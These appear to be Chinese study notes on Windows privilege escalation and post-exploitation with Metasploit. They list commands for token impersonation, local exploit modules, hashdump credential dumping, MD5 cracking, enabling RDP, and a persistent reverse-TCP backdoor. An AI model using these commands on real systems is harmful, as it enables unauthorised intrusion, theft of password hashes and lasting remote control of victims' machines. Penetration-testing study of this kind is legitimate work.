windows提权

uac提权

bypassuac提权

windows本地提权

令牌盗用

令牌盗用的要求:windows 7之前,及windows 2008之前都可以使用

use incognito

list_tokens -u 列出在线的用户名

假如Impersonation Tokens Available中有system,administrator的用户

那么就可以用impersonate_token 用户名的方式盗用身份

1
2
拓展模块的使用:load,use
每次加载了拓展模块,都可以用help查看相对应的帮助信息

windows提权漏洞库:

https://github.com/SecWiki/windows-kernel-exploits

https://www.exploit-db.com/ (msf使用的漏洞库)

系统服务权限配置错误导致的提权:

​ exp: exploit/windows/local/service_permissions

aggressive:

true :尽可能多的利用每一个有缺陷的服务
false:第一次提权成功后就会停止工作

利用AlwaysinstallElevated提权

打开组策略进行配置:
win + r –> gpedit.msc
计算机配置->管理模板->windows组件->windows installer->开启:永远以最高权限进
行安装
用户配置->管理模板->windows组件->windows installer->开启:永远以最高权限进行
安装

exp: exploit/windows/local/always_install_elevated

windows中的权限: trustedinstaller > system > administrator > normal user

可信任服务路径提权:

exp: windows/local/unquoted_service_path

windows后渗透模块

hashdump报错:

解决办法--> 进程迁移

  1. hashdump

  2. run post/windows/gather/smart_hashdump

md5密码破解: https://www.cmd5.com/

md5的特点: 生成的密钥无法还原,但是每次一样的内容生成的密钥是相同的

开启3389端口:

windows只允许单用户登入,如果其他用户想要登入,必须注销当前用户

run post/windows/manage/enable_rdp

开启完后访问3389端口:

在linux中: rdesktop ip

在windows中: mstsc

windows持久化后门

msf中的持久化后门:

run persistence

1
2
3
4
5
6
7
8
9
-A 自动开启匹配的监听器等待用户连接
-P 指定payload,默认windows/meterpreter/reverse_tcp
-S 开机的时候以服务的方式去运行后门(system权限)
-T 指定一个模板
-U 用户登入的时候做一个反弹
-X 当系统运行的时候做一个反弹
-i 时间间隔(每隔几秒反弹一次)
-p 指定监听的端口
-r 指定反弹的ip